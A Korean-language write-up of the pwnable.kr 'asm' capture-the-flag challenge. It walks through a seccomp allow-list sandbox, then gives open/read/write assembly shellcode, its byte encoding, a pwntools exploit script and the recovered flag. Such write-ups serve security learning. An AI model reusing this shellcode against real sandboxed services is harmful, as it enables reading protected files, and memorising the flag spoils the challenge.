
linux에서 sandbox 메커니즘을 적용해주는 SECCOMP와 관련된 문제인 것 같다. 외부로부터 받은 프로그램을 보호된 영역 내부에서 실행하는 깁버으로, 가상화된 영역에 Allow list에 적용된 syscall 및 권한들만 허용된 상태에서 프로그램이 동작한다.
외부로부터 execve syscall이 호출되면 즉시 프로세스를 종료하는 정책을 사용하기에 취약점이 존재해도 공격이 먹히지 않는다는 특징을 가진다. seccomp_rule_add 함수를 통해 syscall 허용 여부를 결정한다.
문제 코드를 보면, mmap 함수를 통해서 메모리를 매핑한다.
mmap 함수의 인자는 다음과 같다.
void *mmap(void addr[.length], size_t length, int prot, int flags,
int fd, off_t offset);
0x41414000가 주소로 들어와 강제로 해당 주소에 0x1000만큼 매핑하고, 권한으로는 rwx가 모두 가능하도록 설정되어 있으며 이후 memset을 통해 전부 다 nop로 설정했다.
이후 stub bytecode를 복사하고, 그 뒤에 사용자의 입력을 받는다. 이후 sandbox 루틴을 호출하고, sh 메모리를 실행한다. 우선 stub에 있는 것은 gpt에 의하면 모든 범용 레지스터를 0으로 초기화하는 xor 명령어라고 한다.
48 31 c0 xor rax, rax ; RAX ← 0
48 31 db xor rbx, rbx ; RBX ← 0
48 31 c9 xor rcx, rcx ; RCX ← 0
48 31 d2 xor rdx, rdx ; RDX ← 0
48 31 f6 xor rsi, rsi ; RSI ← 0
48 31 ff xor rdi, rdi ; RDI ← 0
48 31 ed xor rbp, rbp ; RBP ← 0
4d 31 c0 xor r8, r8 ; R8 ← 0
4d 31 c9 xor r9, r9 ; R9 ← 0
4d 31 d2 xor r10, r10 ; R10 ← 0
4d 31 db xor r11, r11 ; R11 ← 0
4d 31 e4 xor r12, r12 ; R12 ← 0
4d 31 ed xor r13, r13 ; R13 ← 0
4d 31 f6 xor r14, r14 ; R14 ← 0
4d 31 ff xor r15, r15 ; R15 ← 0
void sandbox(){
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
if (ctx == NULL) {
printf("seccomp error\n");
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
if (seccomp_load(ctx) < 0){
seccomp_release(ctx);
printf("seccomp error\n");
exit(0);
}
seccomp_release(ctx);
}
sandbox 함수를 보면, open, read, write, exit, exit_group를 allow list에 넣고 나머지는 kill하도록 설정되어있다.
근데 일단 open, read, write를 허용해 두었으면 파일 읽는고 flag 내용 출력하는거 자체는 어려울게 없다.
레지스터에 인자만 잘 넣어주어 어셈블리 형태로 코드 잘 짜면 된다.
문자열의 주소를 정확히 알 수는 있지만 (ASLR 없고, mmap base 주소가 고정되어 있음) call-pop 기법을 통해서도 간접적으로 rdi 레지스터에 문자열 시작 주소를 넣을 수 있다.
call <label> 이 다음 명령어의 주소(문자열)를 스택에 push하고, label에서 pop rdi로 그 주소를 꺼내 레지스터에 담는 장법으로 굳이 문자열이 아니어도 shellcode같은 bytecode가 어느 주소에 로드되든 고정된 offset 계산 없이 현재 코드 위치를 얻어내도록 하는 트릭 기법이다.
; read_and_print_asm_c.asm
; ——————————————————————————————————————————————
; 1) open("asm.c", O_RDONLY)
; 2) read(fd, rsp, 0x400)
; 3) write(1, rsp, bytes_read)
; 4) exit_group(0)
; ——————————————————————————————————————————————
BITS 64
org 0
start:
jmp short do_read
read_file:
pop rdi ; rdi ← &filename
xor rsi, rsi ; flags = O_RDONLY
xor rdx, rdx ; mode = 0
mov eax, 2 ; sys_open
syscall ; rax = fd
mov rdi, rax ; rdi = fd
sub rsp, 0x400 ; 버퍼로 쓸 스택 공간 확보
mov rsi, rsp ; rsi = buffer
mov rdx, 0x400 ; rdx = 최대 읽기 바이트 수
xor eax, eax ; sys_read
syscall ; rax = 실제 읽은 바이트 수
mov rdx, rax ; rdx = count
mov rdi, 1 ; rdi = stdout
mov eax, 1 ; sys_write
syscall
xor edi, edi ; exit code = 0
mov eax, 231 ; sys_exit_group
syscall
do_read:
call read_file
db "this_is_pwnable.kr_flag_file_please_read_this_file...", 0
위 파일을 바이너리로 컴파일하고, xxd -i 옵션으로 byte형태로 추출, pwntools에서 bytes 함수를 통해 하나의 bytecode로 합친 후 입력값으로 넣어주면 flag를 출력할 수 있다.
from pwn import *
sh_bin = [
0xeb, 0x3c, 0x5f, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0xb8, 0x02, 0x00,
0x00, 0x00, 0x0f, 0x05, 0x48, 0x89, 0xc7, 0x48, 0x81, 0xec, 0x00, 0x04,
0x00, 0x00, 0x48, 0x89, 0xe6, 0xba, 0x00, 0x04, 0x00, 0x00, 0x31, 0xc0,
0x0f, 0x05, 0x48, 0x89, 0xc2, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x01,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x31, 0xff, 0xb8, 0xe7, 0x00, 0x00, 0x00,
0x0f, 0x05, 0xe8, 0xbf, 0xff, 0xff, 0xff, 0x74, 0x68, 0x69, 0x73, 0x5f,
0x69, 0x73, 0x5f, 0x70, 0x77, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x2e, 0x6b,
0x72, 0x5f, 0x66, 0x6c, 0x61, 0x67, 0x5f, 0x66, 0x69, 0x6c, 0x65, 0x5f,
0x70, 0x6c, 0x65, 0x61, 0x73, 0x65, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x5f,
0x74, 0x68, 0x69, 0x73, 0x5f, 0x66, 0x69, 0x6c, 0x65, 0x2e, 0x73, 0x6f,
0x72, 0x72, 0x79, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69, 0x6c, 0x65,
0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x69, 0x73, 0x5f, 0x76, 0x65, 0x72,
0x79, 0x5f, 0x6c, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f,
0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x6f, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x6f, 0x30, 0x6f, 0x30, 0x6f,
0x30, 0x6f, 0x30, 0x6f, 0x30, 0x6f, 0x30, 0x6f, 0x6e, 0x67, 0x00
];
shellcode = bytes(sh_bin)
p = process("./asm")
p.recvuntil(b"asg")
p.recvuntil(b"x64 shellcode: ")
p.send(shellcode)
p.send(b'\n')
print(p.recvall(timeout=2))

Mak1ng_5helLcodE_i5_veRy_eaSy
writeup을 보면 shellcraft라는걸 이용한 사람들이 많았는데 기회가 된다면 나중에 알아봐야겠다